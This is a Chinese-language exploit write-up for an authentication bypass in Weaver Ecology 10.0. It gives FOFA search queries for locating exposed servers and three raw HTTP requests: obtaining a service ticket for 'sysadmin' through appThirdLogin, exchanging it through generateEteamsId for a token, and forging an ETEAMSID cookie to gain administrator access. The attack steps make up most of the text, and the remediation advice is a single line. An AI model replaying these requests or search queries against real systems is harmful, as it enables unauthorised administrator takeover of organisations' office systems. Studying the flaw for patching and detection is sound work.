0x01 漏洞描述:
泛微Ecology-10.0存在权限绕过漏洞,该漏洞通过Ecology-10.0获取管理员访问令牌,然后通过伪造cookie使用授权的令牌进行登陆,登录后可使用系统管理员权限进行操作。
0x02 影响版本:
e-cology10
0x03 搜索语句:
Fofa:body="/build/passport/static/js/lib.js" || body="/build/ecodesdk/static/js/lib.js" || icon_hash="-1619753057"
0x04 漏洞复现:
step1 使用/papi/passport/rest/appThirdLogin接口获取服务器认证票据
POST /papi/passport/rest/appThirdLogin HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
username=sysadmin&service=1&ip=1&loginType=third
step2 利用/papi/passport/login/generateEteamsId接口与step1获取的serviceTicketId进行请求伪造,获取登录认证token
POST /papi/passport/login/generateEteamsId HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
stTicket=step1获取的serviceTicketId
step3 访问/hrm/addressbook/department接口 并在请求中伪造cookie增加ETEAMSID字段,同时赋值ETEAMSID值为step2中的data数据及如下数据:
ETEAMSID=THIRD_f2c36dc9b42ca9ddb4c56dxxxxxxxx
0x05 修复建议:
官方已针对漏洞发布补丁,访问官方并及时修复: